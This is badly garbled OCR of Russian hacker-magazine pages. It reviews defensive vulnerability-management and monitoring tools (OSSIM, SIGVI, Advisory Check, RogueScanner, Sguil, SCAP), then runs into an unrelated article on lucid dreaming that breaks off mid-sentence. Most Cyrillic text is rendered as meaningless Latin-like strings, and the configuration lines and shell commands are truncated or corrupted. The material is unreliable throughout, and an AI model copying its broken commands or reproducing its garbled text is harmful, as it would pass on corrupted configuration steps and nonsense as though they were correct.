framework, agent n update. HacTpoiiku cepBepa HaxoATCA B
daiine ossim_setup.conf, 0TpeaKTHPOBATL KOTOPBIH MOMKHO
BPYYHYIO, WK BEIIIOJHHAB KOMAHY 0ssim-setup. B aroMm daiine
HaxXoZATCA NapaMeTPhbl AJIA MOAKIIYeHHA K cepeepy 1 MySQL,
HACTPOHKH CEHCOPOB. Bo/IBIIMHCTBO NapaMeTPOB BHYTPH
MOXHO HA3BAThb CTAHAAPTHBIMM, M OHM JODKHEL GBITE TOHITHEL
6e3moAcHeHHi. Tak, cTpoka detectors onpeie/geT IPHIIOKe-
HIA, HCITOAb3yeMble B KadecTBe CeHCOPOoB (deM DoJbIle TAKHX
MaTYMKOoB, Tem yutire). Hocne yeranoBku k OSSIM noakitoueH
TONBKO OJIHH WHTepdelic, a 3HAUNT, BCe YTHINTHI IPOCTYIIABA-
10T CeThb TO/LKO Ha HEM:

#vi/etc/ossim/ossim_setup.conf
[sensor]
detectors=snare, p0f, osiris, arpwatch,

snortunified, pads, ssh, pam unix, rrd, sudoc,

Cairel npoekTos:
® 0SSIM — m.net. in

iptables, nagios

erfaces=ethl

monitors=nmap-monitor, ntop-monitor, ossim-

* SIGVI —
i wish.n monitor
* RogueScanner [Tp1 HeOOXOAMMOCTH A0DaBIAeM U IPYTHE, TIPOCTO TePeIHC-

=W v.pagl JINB 9Epe3 3ariATyIO!

s Advisory Check — AHanOrM9HEIE YCTaHOBKH, TOIBKO 1A AT€HTOB, HILH B daiiie
fvchk.unixgu.ru. agent/config.cfg. [lnia nogritodeHns K cepepy OSSIM areHTEI
HCnombayioT nopT 40001 ; M3MEHUTB €ro MOXKHO, OTPEJAKTHPO-

BAB IAPaMETP POrt:

e C BO3MOXHOCTAMY
SIGVI MoxHo Mo3Hako-
MUTLCH Ha eMO-

cTpaHuLie npoexTa #vi fetc/ossim/agent/config.cfg

| — sigvi.ug i [output-server]

dem gvi. enable = True
ip =192.168.17.10

port 40001

Aotual profile T=in=one (1.2

OESIN SHLUp Haii benn
Welcome to OSSIM Satup!

Select one of the following actions:

1 ange General Settings

2 Change Profile Settings

i Update DSSIM System (Tecommended)

|4 Change network configuration
|% Rpply and Save all changes (some services will be restarted)

lﬁ Exit

MOCNEYCTAHOBKUW ALIENYAULT 0SSIM
INSTALLERHACTPOWUTb PABOTY 0SSIM
MOXHO NP MNOMOLLIK 0SSIM-SETUP

Terepb 0TKphIEaeM Be6-Opay3ep M 3aX04HM Ha CTPaHHILY
http://server; ans perucTpalyy Henombayem admin/admin.
Tlocne HeBOABIIOrO, HO BECHMA MTOIE3HOr0 IHKGe3a [0 MCITONb-
30BAHUIO IUCTPUGYTHBA TTOTIA/JaeM B KOHCOJIb YIIPABJIEHHA.
[NpakTH4eckH cpasy OyAeT 4OCTYIICH Pl OTIEeTOB.

TlaHenb BU3yankHO pa3buta Ha TpH oGracTd. CripaBa HAXOAHT-
ca cimcok dyukiit OSSIM: Dashboards (BeiRoAATCA pHCKH,
37echk BHZIHO TIosiBerHe HoBo# OC wiu ceperca), Incidents,
Events (anomasnmuu, cobpiTiA), Monitors (MOHUTOPHHT CETH
ucucreM), Reports (0TIeTH IO y371aM, 060pyAoBanumo, [10,
cetn), Policy (HacTpo¥ika MONHTHK ¥ AeHCTBHE, 3aIYCK TIPO-
rpaMmbl liH oTripaBka e-mail), Correlation, Configuration,
Tools (GaKar, cCBITKY A7 3aKaTKH KIHEHTOR, CKAHEP CeTH).
Hacrpoek gocrarouno Mmuoro. [lepBeiM ge/10M cleayeT npa-
BUJIBHO YKA3aTh CETH, KOHTPOIUpyeMbie OSSIM. 310 MoXKHO
caenats B Policy = Policy. Jlanee mepexogum Bo BKJAJKY
Network u sanyckaem ckanupopanue ceTr Tools — NetScan,
axTrpanya Enable full scan noasonut nposectn 6omnee
rityboKoe CKaHMpOBaHUe. 3aHOCHM HaH/[eHHBIE CHCTEMbI B
CIIMCOK KOHTPOJIA, BCe OHM BYAYT MOKa3aHk Bo BKmazke Policy
-> Policy - Host. [1pu Heo6Xx0aUMOCTH 3aHOCHM AAHHEBIE O
CHCTEMAX BPYYHYIO. HHd}OpMaLIHID TI0 CeTAM M XOCTaM 3aTEM
MOJKHO HCTIONB30BATE MPH HACTPOHKE NOIHUTHK. YT0ObI yC-
TAaHOBHUTB aTeHTa Ha YAaTeHHYI0 cucTeMy, epexogum B Tools
- Downloads, tie B 3aBucHMocTH 0T Bepcin OC BEIOHMpaeM
KOMIIOHECHTRIL, Ka49acM H CTAaBHM.

Xouy 0bpaTryuTh BHHMaHHe, YTO B KaX/J0H BKJIa ke JOCTYTIeH
HElp, TaM CO CKPMHAMHW TOKa3aHO HA3HAYCHHAC OCHOBHBIX Ha-
crpoex. Jlaske mpu 6a30BOM 3HAHHH AHITHHCKOTO pazoGpaTses
6y,HETHECJIO}KHO.

SIGVI: KOHTPOJb YTPO3 [Ipoext SIGVI (sigvi.upcnet.

£5) paspabaTHIBAETCA B TOIMTEXHHIECKOM YHHBEPCHUTETE
Karanonus unpejcrapsifeT coboit Open Source IpUIOKEHHE
(mrnensua GNU GPL), npegnasHadeHHoe 714 oOHapyKeHus,
TIPEAYTIPEX/ICHHA | YIIPABAEHHA YT po3aMu. [IpHHIMI paboTE!
SIGVImpocT: mporpaMMa NepHOANYECKH 3aTpyskaeT HOBBIE

|
onoBeneHua 06 YA3BUMOCTAX (71 2TOTO UCIIOMB3YIOTCA |

crangapTel CVE, CPE u CVSS nporoxona SCAP, — cM. Bpesky), |
a3aTeM nosydeHHad HHGOPMaIHs B COOTBETCTBUH C HACTPOM- ‘
KaMH GHIBTPOB OTIPABIAETCA a//MIHHUCTPaTOPY. MCTOYHHKH, |
orKyza 6epyTes coobIeHNsA, HaCTPAMBAIOTCA BO BKIAJKE ‘
Tools— Sources. YTo6b! He pacchUIaTh TUIIHEE JaHHBIE,

SIGVI momxeH 3HaTH 00 HCITOJB3YeMEIX cepBHCaX. DTO MOXKHO
HACTPOHUTH BPYIHYIO MUTH MCITOTB30BATh MHCTPYMeHT NSDi
(Network Services Discoverer), KoTopbIif aBTOMAaTH3UPYeT
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0SSIM MPELOCTABNISET
HbIE FPAGUKM

1

BECbMA HATTISIA-

nporecc cbopa gannerx. 111 Kk 10l yA3BUMOCTH, 3aTpa-
THBAOIIEH O/JHY M3 UCIIO/Ib3YeMEIX Ha cepBepax mporpaM,
SIGVI cosnaet coobmente Tpesory (alert). [IppHrMaeTca

BO BHHMaHue GpaKTop pHCKa M cBOHCTBa ceprca. PakTop
PHCKa PACCYHTBIBAETCA HAa OCHOBAHMH BeKTopa CVSS. BekTop
MPHUMEHSET Ki1acCHMUKALIHIO TT0 ITKaze KpuTaaHocTH 0 — 10,
oIpe/ieTIAIIEH CTeTTeHb PHCKA (KCTATH, 3TH JaHHbIE HCTIOMb-
3yeT ckanep Nessus 1 pyrue nogobxele pemenna). [Ipu atom
VIUTBIBAETCA JOCTYTI (JIOKAMBHLIH, Y/laeHHbIH) , CI0KHOCTD
arakd (kBanHbHUKalLMA aTaKyIOMWero, HacTPOHKH CHCTEM

W T.11.), ayTeHTUHKALHA, HAHYHe pabovero aKCIIonTa,
06HOBTEHNI, 3aKPHIBAIOIINX YAZBUMOCTD 1 ITDOUHE [TapaMeT-
psl. [TonHoe onmcanve crangapra CVSS Th Halienb Ha caiTe
Security Lab (www.securitylab.r }55:

alytics /355
)[1p). A BOT 9TODBI ONIPE/IENHTE, B KAKHX Cy4Yagx OMOBEIaTh

aZIMWHHCTPATOPA, MCTIOMB3YVIOTCA GMIBTPHL. Hampumep, ux
MOXKHO HACTPOUTD TAK, YTO cooblLIeHKe OyeT reHepHpoBaThea
TOJIBKO TTPH HaIMYHH FOTOBOT0 9KCIUIONTA. Bee oayueHHbIe
IIpeaynpe eI 3aHOCATCA B Da3y JaHHBIX M IOCTYTIHEL B
n060e BpeMA. Peann3oBaH MOUCK [10 HECKOIBKHM KPHTEPHAM
¥ DOMBIIOE KOMTHYECTBO OTYETOB.

HWarepdeiic SIGVI HanmcaH npy momory PHPS, 11 11 yCTaHOB-
kunogoigeT mobas LAMP (Linux+Apache +MySQL+PHP5)
cucteMa. B kagecTne 6a3pl AAHHEIX MOTYT OBITE HCIONB30BAHEL
MySQL, PostgreSQL, SQL Server, Oracle, Informix 1 HekoTo-

pelie apyrHe CYB/]. Cam nporecc yCTaHOBKH, MOYKHO CKa3aTh,

| CTaHAAPTEH AJIA IPOrpaMM TAKOT'O pOdd. PacnakosbiBaem
apXHMB B KOPHEBOH KaTa/IoT Beh-cepBepa U yCTaHaBIHBaeM

| HyxHble npaga (Beb-ceprep y MeHA paboTacT 0T HMEHH WWW-

data):

$ sudo tar xzvf si

% sudo chown
&
S

> sudo chmod -R 750 /ve
Coszaem 6a3y JaHHBIX ¢ TABIHIIAME:

$ mysgl —u root -p < si

Xora Sguil (s
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HANMMYME OCS INVENTORY MO3BOJIAET MOJIYYUTL NMOJIHYHO
MHOOPMALIMIONOYCTAHOBJIEHHOMY O60PYAOBAHUKO U

NPOrPAMMHOMY OBECNEHEHHIO

KoppekTipyeM nepemenHsIe B conf/app.conf.php:

# vi /var/www/sigvi/conf/app.conf.php

fine ("HOME"

,"/sigvi"); // DoMamHMI KaTamor

define(" \IL","sigvi <root@localhost>") ;

'/ mouTa amMMHAE

define("SERVER _URL","http://leocalhost"); //
URL cepsepa

// Tun BI —mysgl, mysgli, postgres, oracle,
BCe BapuaHTH omcani B include/dbms
define("DBType", "mysdgli") ;

[/ y3en, Ha KOTopoM HaxopuTcs Bl
define("DBServer","localhost");

define("DEName", "sigvi");

// TIONB2ZOBATENE 1 [IapONs (MeHsSeM OOARaTENLHO)

define("DBUser",

W
s

i i

fine ("DBPass" , "NEWpassword") ;

[/ Tun ayTeHTudMKalMu, e YMOJHaHM0 BHYTPeH

HUl, MOXHO BeBpaTs LDAP

define ("authMethod" , "dbms") ;

define("ldapSexrver", "ldaps://yvour.ldap.

serven");

HWameHuB raposns B daiine, He 3abbiBaeM 00HOBHTE ero B baze
AaHHbBIX:

mysqgl> UPDATE user SET Password=FASSWORD

('NEWpassword') WHERE user='sigvi';

Kak BuaHO 13 KoH(Hra, AocTyn K SIGVI BO3MOKEH 110 3a1IHCAM
BHyTpeHHelH 6assl nosk3oBaTenel wnu BHemHeH (LDAP,
CYBI).

B nporpamme peaii30BaHO0 TPH FPYTIIBI NOAB30OBATENCH

R e R I i R S P o I R i S S 9 L i o |
AnanmzaTop Tpaduka Sguil

il.sf.net) HanpsaMyio He oTHocHTCA K Vulnerability Management, ero HaiMuHe JaeT B PyKH CHELMaIHCTOB X0Po-
Ml MHCTPYMEHT, TI03BOJIAOILHI IPOCMATPUBATL CHTYALIMIO B CETH B peaTbHOM BpeMeHH. [T0CTPOeH OH 110 KJIMEHT-CepBepHON
apxuTekType. MHbopMarusa /14 aHasu3a cofupaeTcs ceHcopaMH, B KauecTBe KOTOPBIX MOXKET BRICTYTIaTh SnoTt. B ominyue oT
BASE, Bce cofpatHble ZaHHbIe coxpanmioTea B MySQL 1 oTo6paKaoTea Ha KIMeHTe MITHOBEHHO. AIMMHHCTPATOP MOKET CPasy
BuzeTh TpobaemMsl B ceTr. KitnenT Hamucad Ha Tel/ Tk u 6yzeT paboTaTh Ha 11060#H crcTeMe, Kyfia MOPTAPOBAHEI COOTBETCTBYIO-
mue 6ubamoreru — Linux, *BSD, Solaris, Mac OS X 1 Windows.

b info

* 0S5IM nossonget
Habniogats 3a yanamu
B CETW U X B3aUMO-
AeACTBUAMM, MonyYaThb
or4et 0b aHoMannax,
BbIFIBNIEHHbIX

B CUCTEME, Hanpumep,
cmerne MAC-aapeca,
M3MEHEHUW BEPCUK
OC nnu cny>xboi.

e J1ns BeicTpoi
ycraHoskm 05SIM
NYULLE UCNONB30BaTh
AlienVault Open
Source SIM Installer,
KOTOPbIM NOCTPOEH Ha
Debian v sknodaer
Bce HeobxopuMmoe

|
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Vulnerability management

8 Administration

Configuration

Tools

\) Last news g._j About

Search

CVE/CAN [ | publish date [2009-01-16 |
SEV [ [ Description | I
Vulnerable software ‘ T Links I ]

Note: You can use SQL wildcards and the logic separators 'or' and 'and’, p.e. '%eapache®o or %emysql%%’

Search

Advanced search [

W
Source CVE/CAN Publish Revison: iy CVSS  LEM LOC SPT APV SPV CNF INT AVA Description
date date score
Insecure method |
vulnerability in the
EasyGrid.SGCtl.32
NVD - e 2 2009/01/16 2009/01/16 A ActiveX control in
upclates By =20 R 00:00:00 00:00:00 High kel A % X EasyGrid.ocx 1.0.0.1
COOBLLEHUA OB YA3BUMOCTAX B SIGVI
— aamuHHcTpaTtop SIGVI (mosHsH focTy), KaHaJbl. 3aTeM NoJydeHHYI0 HH(OpManHio b sioviR2inteiprise @

AAMUHHUCTPATOP TPy (ITPOBepKa anepTos,
paboTa c onbL3oBATe/IAMH ) ¥ aIMHUHICTDATOD
cepBepa (KOHeYHLIH MOTE30BaTel kb, ToTydaro-
IWH OTIOBEIEHMWA) .

YTO ELLLE? OSSIM 1 SIGVI apiniores Hauboiee
TIOTY/IAPHBIMH 1 PYHKIIHOHATEHBIMH IPOTPaM-
MaMH, XOTA, BOSMOKHO, H HECKOJIBKO CIIOMHBIME
B OCBOEHHH. [T03TOMY KPaTKO pACCKAXKY O IPYTHX
pelIeHHAX.

[Ipuanoun paboTtser Advisory Check (ADVCHK,
advchk.unixgu.ru) ananoruden SIGVI. [Ipo-
rpaMma cobupaeT cooOmeHHA 0 HOBBIX yA3-
BHMOCTAX C PA3HLIX HCTOYHHKOB, B KauecTBe
KOTOPBIX MOTYT BelcTynaTk RSS, RDF i1 XML-

CPaBHMBAET CO CITHCKOM YCTAHOBIEHHBIX
IPUIOKEHHH, MOMYIeHHBIX OT MeHeaxepa
nakeToB (moazepxusaerca pkg info, dpkg,
rpm, portage, lpp, peectp Windows 1 Hexo-
TOpBIe PyTHe), — U OTCBITaeT cooOmenHe,
eciny obHApYKUBaeTcsa yA3BUMOCTD. [Ipe-
AYyCMOTpeHO W pyYHoe AobaBleHHe CIIHCKa
MpOTpaMM, HO TAKOH NO/X0Z Jae B MaJblxX
CeTAX He JOCTABUT MHOTO pagocTh. Bo3Mo-
JKeH KOHTPOJIb YAaleHHBIX CHCTEM: JJI 9TOT0
HCITOJIB3YeTCA HECKOIBKO crtocobos — SSH,
Windows-RPC 1 Nmap.

ADVCHK Hanvcas Ha Perl'e v BecHT Beero

15 K6. Ero ycTaHOBKA Z0CTATOYHO IIPOCTA:
HY)KHO YCTaHOBHTE OuOnroTexkn Getopt::Std,

[Ipotokosn SCAP

[TpoToKoJ aBTOMaTH3AIHMH YIIpaB/ieHnd JaHHEIMHK OesonacHocTH (The Security Content Automation

Protocol, scap.nist

BaHbI 414 aBTOMaTH3aIHH ITpoLecca IMoHcKa yHSBHMOCTEﬁ, OLEHKHM COOTBETCTBUA TEXHHIECKHX MeXa-

) —3T0 HADOP OTKPBITHIX CTAHAPTOR, ONPe/eJAIOIIHX TeEXHUYeCKHe Crieindu-
KALWH A1 [Pe/ICTABIEHMA U 0GMeHa JaHHBIMH IO 5e30TaCHOCTH. DTH JaHHBIe MOTYT GBITh MCIIOMb30-

HHM3MOB KOHTPOJIS1 M M3MEPEHHA YPOBHA 3a1UIEHHOCTH. SCAP COCTOMT U3 CAEAYIOIHX CTAHAAPTOB:
* Tunosble YA3BHMOCTH H 0lHOKH Konduryparmi (Common Vulnerabilities and Exposures, CVE);

* Crimcok Trnoeex koHburypaunit (Common Configuration Enumeration, CCE);

* Crivcok THMoBbX rutatdopm (Common Platform Enumeration, CPE);

* EiHHAA CHCTEMA OTIPe/ieIeHHs BeTHuMHb yAzpumocTed (Common Vulnerability Scoring System,

CVss);

® PacinipAembli GopMaT OMHCAHAA CITHCKA IPoBepKH KoHdurypaumH (Extensible Configuration

Checklist Description Format, XCCDF);

® OTKPBITHIH A3BIK OMHCAHHA YA3BHMOocTel 1 onterkn (Open Vulnerability and Assessment Language,

OVAL).
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A

Vulnerability evolution
o vt | Kbat mosdutin | Vi va At | At iy s | Al D o

Alerts v Vulnersbi 1ities (arows orindor. grp.22509)

FPAOUKHU, NPEAOCTABNAEMBIE
SIGVI

LWP::UserAgent 1 Storable, saTeM pacrakoBaTh
ApXMB U 3aITyCTUTE «. /install.shy. /g Monn-
Topuura WinNT/2k/XP /2k3 ucroneayercs
WinExe, KOTOpBIH MOHO CKa49aTh c caiTa col.
inexe. CIMCOK MCTOYHUKOR OIMCAH B
daitne advchk_addfeeds.sh, 1 mpu neobxoanmoc-
TH €TI0 MOXKHO YTOYHHTb.

RogueScanner (www.paglo.com,

ovh.org/w

ppensource/roguescanner) npeAHasHayeH
AnA O6Hapy}KeHWﬂ HECAHKIIHOHWPOBAHHOTO
MOJKI0YEeHHA yeTpoiicTs K WiFi-cetn. I1pn pa-
60Te UCTTIONTb3YETCs CHCTEMA KTACCHPHKAIMK
yerpoiers (Collaborative Device Classification
System, MMeeT ZaHHbLe 0 Hosee gem 1 MIH.
YCTPOMCTR), KOTOpas MMO3B0/IAET aBTOMAaTH-
qecKH 06HAPYKMBATD U HACHTUGHIIMPOBATE
THUIIb YCTPOHCTB B peafbHOM BpeMeHu. YTofb!
COﬁpaTb MaKCHMa/lbHO€ KOTHIeCTBO JaHHbBIX
06 yCTpOHCTBE, HCIONB3YETC HECKOIBKO
METO/I0B, — B PE3Y/IbTaTe HCCIe/IOBaTeNb
[101Y4YAET CReIeHNUA 0 TTPOU3BOAUTENE, MOJe-
g, [P/MAC-agpec, DNS wiu NetBIOS-mms.
CobpaHHasa uHGOPMALIMA OTIPABIAETCA Ha
cepBep. RogueScanner Takxe MOAXOAHT JJIA
WHBEHTAPHU3ALHA YCTPOHCTB B CETH.JC
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CTEMYEHKD AMDFOORGMAIL.COM

PSYCHO:

TAMHBIE BPATA B IIAPCTBO MOP®EA

TEOPI/IH U IIpaKTHWKa OCO3HAHHBIX CHOBI/I,H,GHI/II;'I

Bo CHe YenoBeK NPOBOAMUT TPETH CBOEW XM3HW. bblno Bbl pacToun-
TeNbHO TPATUTL CTOMb BOJIbLLIOE KONMYECTBO BpEMEH M Ha DaHanbHbIN
OTObIX OpPraHWM3Ma, No3TOMY MPUPOAOA NPeayCMOTPEH ClelnanbHbI

DEXKWM pa3BlieYeHWt, BCEM U3BECTHbBIN KaK CHOBUAEHWUA.

Housb10 XXU3HL IPO/I0JDKa-
€TCH GonblWHCTES He BOCTPUHMMAIT
cHoBMAEeHWs Bcepbes. B coBpemMeHHom obuecTtee
WHTEPEC K CHOBUALHUAM KaK K ABEHMIO B LIENOM
oTcyTeTByeT. OHW NOYUTEITCH 33 HEKME raniio-
LMHALMK, KOTOPLIE 384EM-TO MeNTbKatoT B rof0Be
HOYLIO. [1POCHYBLWMWCE, YEMNOBEK C TRYAOM MOXET
MPUTMTOMHU T, 4TO Xe eMy CHINOCH. MHorue He-
cnocobHbl BCNOMHWTE C yTpa CBOW CHbl, MO3TOMY
yTBEPXKAAIOT, UTO He BUAAT ux Boobuie. 3Tv niogu
owmbaloTcs, — A0KA3aHO, 4T0 CHOBUAEHWA
CHATCS BCEM HOPMETTBHBIM MIOAAM, HE MMEDLLAM
PeIKWX TAXENbIX NOBPEeXAEHNIA MO3ra.

Y 0BbluHOro YyenoBeka CHOBUACHUA MpeacTaBna-
10T coBoit cepuio HeBHATHLIX 06pa30B, NPoHOCA-
WMXCH B TON0BE BO BPEMS CHa B BU/E KaKoro-To
6pesogoro unbMa, KOTOPbIV, K TOMY Xe, eule u
CNOXHO 3aNoMHNTL. [oaTomy B obujecTse dop-
MUPYeTCs MOAeb MOBEJEHUS, HarlpaBaeHHan
Ha BbITECHEHME MHDOPMALMU, NONYYEHHOR M3
cHoemaeHwi. Ha camMom gene TpyaHo npeq-
CTaBUTh, A9 Yero 0OLIYHOMY YENDBEKY MOXET
NoHagobUTECH NOMHWTL M aHaNM3WPOBaTh CBOW
cHil. MoxHO yBNekaTses, K npuMepy, ToNKoBa-
HWEM CHOB, HO Y 3A,paBOMBICNALLEr0 Yenoseka
nopofHoe yenederue BbICTPO NPOXOAMT Nocie
TOr0, KAK OH NOHWUMAET, 4TO BCe COMHUKM CO-
[epxaT pazHbie TONKOBaHWA paaHbix 0bpasos,

1 BBISICHUTL peanbHoe 3HaqeHrne CHOBMAEHNA
M0 HUM HeBo3MaxXHO. [la n KTo cKazan, 4To CHbl
[L0HEl UMETh Kakoe-n1nbo sHaqveHne?

Ho cywiecteyeT, no kpaiHeid Mepe, ofiHa cToauas
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npryunHa, Yy106b BCepbe3 MHTeEPeCcOBaTbCH
CBOVMMM CHaMK 1 3aNoMnUHaTL ux. Peyb naoerto
OCO3HaGHHOM CHOBUIBRHWMA.

3A4YEM HYXXHA
O0CO3HAHHOCTb?

Oco3taHHoe cHoeupeHve (OC) — aTo Takoe
CHOBWAEHWE, B KOTOPOM HEJIOBEK 3HAET, 4TO

OH CNWUT K M0ITOMY MOXET KOHTPONIMPOBaTh
cutyaumio. Hy v yto, cnpocuius Tel. Y1o Takoro
VIHTEPECHOIQ B TOM, YT0BbI 3HaTb, 4T0 Thl CHWL?
AT0, 4TO 3TQ COCTORHWE PyHAAMEHTANbHbLIM
obpazom oTnuyaeTcs 0T 0BLI4HOrO COCTORHNSA
BO CHE, KOrfia YenoBeKk «CMOTPHT kuHo». B co-
CTOAHWMI 0CO3HEHHOCTY OTKPLIBAETCA HEOrpa-
HuyeHHas ceobopa camosblpaxerun. Koraa Tel
CTaBULIb CHOBWAEHWE MO KOHTPONb, Thl BoNblIe
He CKOBAH paMkamMun 0bbeKTBHON peanbHo-
ctu! MakTudeckn, Tol Nonyyaellb BUPTYanbHyo
BCEJIEHHYIO, KOTOPas Hax0ANTCA NONHOCTEIO B
TBOEM PaCNOPsXEHWI W K TOMY XKe pacnofaraer-
ca BHYTpY Tebs. M npuHagnexvt stot mup tebe
opHoMmy. [TpakTUKys 0CO3HaHHbIE CHOBUAEHNA,
Thl M3BNEKaelWb MONb3Y U3 EXECYTOYHOID CO-
CTOSIHMS HEMOABIMXHOCTU U BezneicTers Nop,
Ha3BaHMEM COH, B KOTOPOM BhIHYX[EH Haxo-
OMTLCA TPETh CBOEN KnaHn. MoxHo ckasars, y
KaX 0o 4eN0BEeKa B r0/10BE eCTb KOMMBLIOTEP,
KOTOPbIV NPEBOCXOAMT MO MOLLHOCTH Ni0BYI0 13
CO2[aHHbIX YENOBEKOM BbIHUCTUTEIbHbIX Ma-
WuH. Kaxayio HoUb MO3r reHeprupyeT KapTuHKY
BLICLUIEN CTEMEHW JOCTOBEPHOCTH, MOBTOPALLYIO

AeTanu peansHoro M1pa, NJic olyLeHus oT
BCEX OCTalbHbIX OpraHoB 4yBCTB. HT0bbl BCe 310
He nponanfano 3ps, Heobxofnmo NoAYVHUTL BCIO
MOLLb HOYHOI O CO3HaHKs cobcTBeHHON Bone!

HEMHOI'O TEOPUU

[Mpex e YeM NPUCTYMUTL K OMNbITaM CO CBOUM
Mo3rom, HeobxodMmo YeTKo MPeACcTaBaTL, Y10
Takoe 0bbIYHOR CHOBWAEHWE, KAKUMW CBOW-
cTBaMu oHo obnagaert, v Bo 4To, COBCTBEHHO,

mbl cofinpaeMcs Tam BMellnBaTees. Cneayer
YACHWUTE TaKKe U3NONOIMYECKUIA acnexT
CHOBMAEHUA — B KAKOE MMEHHO BPEeMA HOYK BO3-
HukaT Hanbonee NPofONKNTENLHEIE U APKWE
BUIEHUS, Y KOT[4a, HAaNPOTUB, UX NOSBIEHWE Haw-
MeHee BepoATHO. M3yuns cBOMCTBa 0BbIMHOTO
CHOBUAEHMSA «USHYTPW U CHaPYXKU», Mbl NONYHUM
HeoBxoauMyo MHGOPMaLWIQ, KaK NPeBPaTUTL
ero 8 HeobhiuHOe — MOIHOCTHI0 KOHTPOAVpYe-
Moe pasymoM. MoragobuTtca Haiity cnocobel
HATPEHWMPOBaTh NaMATL TaK, HTabbI CHbl He
YNETYYUMBAINCE U3 HEe Ha MePBbIX MUHYTaX nocne
npobyxaeHUs.

Moar yenoseka Bo cHe npebuiBaeT B 0JHOM U3
[1BYX BO3MOXKHbIX COCTOAHWA — B dase MefieH-
Horo [rnyBokoro) cHa u & dase BricTporo [napa-
nokcankHoro] cHa. BelCTpbIF COH elle Ha3bIBaT
asoii GuicTpbix aBvxeHA rnas (B, notomy
YTO BO BPEMS 3TON (assl MOXKHO HabnogaTth,
KaKy YenoBeka WeBeNdTCs /1a3a 110/l BeKamu.

C MoMeHTa 3ackinanns 1 4o NpobyKaeHusi Mo3r
HECKOMNbKO pas NepexofuT 13 0JHOro COCTOsHUA

XAKEP 10 /130/ 09
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B Apyroe. boicTpsii coH 3aHKUMaeT
20-25% ot obulero speMenn, u
MMEHHO B 3TOM COCTOSH MM BO3HMKE-
0T Hanbonee ApKMe W 3aNOMUHAI0-
wmecs cHosuaerns. BosrnkHose-
HWE CHOBUAEHUI KaK TAKOBLIX He
CBA3aHO nMerHo ¢ BT 1 BoaMoxHo
s nioboe BpeMs C MOMEHTa 3aChbi-
naHus. 3a Hovby yenoBeka briBaeT
4-5 das boicTporo cHa. K KoHLY
HOYM ANWTENBHOCTE NEPMOACE
DLICTPOro CHE BO2PACTALT, NO3TOMY
Haubonee NAWTENEHEIE U SPKUE
CHOBWAEHUWS YENOBEK MCMbITHIBAST
HenocpeacTEeHHO Mepeq npobysx-
AeHuem. [1030H1e CHOBUABHUS, K
TOMY Xe, Nerye 3anoMH1TL. Takum
obpazoM, BTOpad NonoBMHa Ho4K
bonee BnaronpuaTHa ANy 3KCNepK-
MEHTOB CO CHOBUAEHWUAMU.

CHOBUOEHHASA
NAMATb

HeT cMeicna B npakTuke oco-
3HAHHbLIX CHOBUOEHWNA, 8CN Thl

He cnocobeH 3aNoMHNTL WX Nocae
npobyxaeHwns. bes pazsuTon
CHOBUIIEHHOM NaMATH 0DpecTy Ac-
HOCTb YyMa BO CHE MPaKTUYECKM
HEBO3MOXHO, Ja M HeT H1Ka-

KOW Pa3HWLEl, Y4TO MTPOUCXOANT
HOUBIO, 8CAW HAYTPO BCE PEBHO
HUYero He NoMHuUIlE. PazeuTs

XAKEP 10 /130/ 09

POBOAVM BO CHE

CHOBUABHHYIO NaMATL [OMO-
raeT AHEBHUWK, KOTOPLIA HYXKHO
BECTW KaX bl JeHb. B AHEBHWK
3aNMCHIBAIOTCH CHOXKETHI BCEX
CHOBWAEBHWI, KOTOPLIE YAanoch
NPUNOMHUTEL NOCNe cHa. 3anucun
B IHEBHWK BHOCATCH HEMOCpE/-
cTBeHHO nocne npobyxgeHuns

— 3T0 NepBoe, 470 Heobxoaumo
CAenaTh, KOraa Tol MpOCHYNca
Ecnv He 3anwcaTb COH Cpa3ly
nocne Toro, Kak NPOCHyNcs, To
YEpEe3 HECKOIbKO MUHYT BCMOM-
HWTb 8ro HAMHOTO CIIOXHEE.
3anucelBaTh CIOXKET MOXHO He
MONHOCTLIO, 8 TONBKO KNKo4e-
BbIMW CAOBAMU, TAKMMU, 4TODBI
B3rNAHYB Ha HWX, MO3T CaM Bbl-
TackMBan ua naMmaTu onucaHHoe
AMU CHOBWEHKE.

Yepes napy Hegenb NpakTUKK
CHOBWAEBHHARA NaMATe HAMHOIO
ynyywaeTcs, u npu npobyxpeHun
CTAHOBUTCH BO3MOXKHbLIM BCMOM-
HWTb HE 0J11H, 38 HECKONbKO pa3-
NUYHbBIX CHXKETOB — OT ABYX 0
wectu-cemu (B peakux cnyuanx
paxe Bonblue). Kak Tonbko cno-
cobHOCTL 3aN0MUHATL CHOBUAE-
HIA OKA3bIBAETCA PA3BUTON Ha
AOMXHOM YPOBHE, HE Mpekpallai
BECTW AHEBHWK. Hy>XHO 1 fansLle
NoAaepxvBaTh CBOIO CHOBWAEHHYIO

namsTs. MMen Ha pykax AHEBHUK C
HECKOMbKUMM LeCATKaMu1 3aruncei
CHOBMOEHWIA, MOXHO MPoaHanMan-
POBATH WX U BbIFABUTE 0BLLME MOMEH
Thl — NPUIOAUTCH, KOTAA Thl CTaHE b
BuipabaTteiBaTs cB0K0 COBCTEEHHYIO
meTopuky Bxofa B OC. Avanuzupya
CBOM CHbI, MOXHO BBIICHUTh, B UEM
WX OT/IMYME OT PeansHOCTK, 1 uc-
MOMb30BATH 3T0 B Ia/bHERALLEM.

OTJINYNA CHA
OT PEAJIBHOCTHU

Korna 4enoBek He CrivT, oH NpocTo
SKMBET, He 3aayMBIBEsCh, COH 3T0 UK
peansHoCTb, HO W BCE, 4TO MPOMC
XOOWT BO CHE, Thl BOCNPUHUMAELL b
Kak 0DbI4HY0 ®xUzHE. Bo cHe vyacTo
HAXOAULLIBCH B PUELIYHbLIX MECTax,
3aHUMaeWbCs 0DBIYHBIMKW BELLAMU,
BUOMILE 3HaKoMElX TaeR. [laxe
ecnu 3To He Tak, naxe ecnn tebe
CHATCH KOLIMAaph! WK Kakne-To
haHTacTudeckue cobelTUsA, TO Thl
CKOpee NPUMELLE 3TO KaK JaHHoe,
4EM YCOMHWLWLCH B peansHocTH
npovcxoadallero. B aTom nprunna
TOIr0, 4TO HOYHbIE KOWMaphl peaib-
Ho nyraiwT. [epexog, ot 0bsluHOro
CHOBUOEHWMA K OCO3HAHHOMY —
cnoxHas 3agada. Hecbxonmmo
BripaboTaTe yMerue 3a0aBaTh
BOMPOC: «BCE BOKPYr — pealb-

BocHe MoxHO neTatb

HOCTh MM coR7». HyxHo 2amedaTs
HeobblUHbIe COBLITUA BOKPYT 1
yMETL aHaNM3npPosaTh UX; NPUKU-
[bIBaTh, MOTYT /TN OH WM NPOUCXOANTL
B 0DBEKTUBHON PeaNbsHOCTY, UK
